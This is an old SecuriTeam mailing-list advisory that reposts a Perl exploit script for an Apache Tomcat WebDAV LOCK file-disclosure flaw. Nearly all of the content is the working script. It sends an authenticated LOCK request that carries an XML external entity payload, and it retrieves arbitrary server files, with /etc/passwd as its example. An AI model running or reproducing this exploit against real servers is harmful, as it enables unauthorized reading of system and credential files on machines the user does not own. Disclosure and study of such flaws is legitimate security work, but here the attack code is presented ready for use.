[EXPL] Apache Tomcat File Disclosure (Exploit)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Apache Tomcat File Disclosure (Exploit)
------------------------------------------------------------------------


SUMMARY

A vulnerability in Apache Tomcat allows remote attackers to disclose the 
content of files stored on the remote server by exploiting a vulnerability 
in the way the WebDAV LOCK function handles requests.

DETAILS

Exploit:
#!/usr/bin/perl
#******************************************************
# Apache Tomcat Remote File Disclosure Zeroday Xploit
# kcdarookie aka eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE
$remoteport = 8080;

sub usage {
 print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
 print "kcdarookie aka eliteb0y / 2007\n";
 print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to 
retrieve> [username] [password]\n";
 print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd 
tomcat tomcat\n";exit;
}

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                              PeerPort => $remoteport,
                              Proto    => 'tcp');
                              
$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXmL =
"<?xml version=\"1.0\"?>\n"
"<!DOCTYPE REMOTE [\n"
"<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
"]>\n"
"<D:lockinfo xmlns:D='DAV:'>\n"
"<D:lockscope><D:exclusive/></D:lockscope>\n"
"<D:locktype><D:write/></D:locktype>\n"
"<D:owner>\n"
"<D:href>\n"
"<REMOTE>\n"
"<RemoteX>&RemoteX;</RemoteX>\n"
"</REMOTE>\n"
"</D:href>\n"
"</D:owner>\n"
"</D:lockinfo>\n";

print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
print "kcdarookie aka eliteb0y / 2007\n";
print "Launching Remote Exploit...\n";

$ExploitRequest =
 "LOCK $webdavfile HTTP/1.1\r\n"
"Host: $hostname\r\n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: 
".length($KRADXmL)."\r\n\r\n" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
 print;
}

# milw0rm.com [2007-10-14]


ADDITIONAL INFORMATION

The information has been provided by eliteb0y.
The original article can be found at:  
<http://www.milw0rm.com/exploits/4530> 
http://www.milw0rm.com/exploits/4530



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.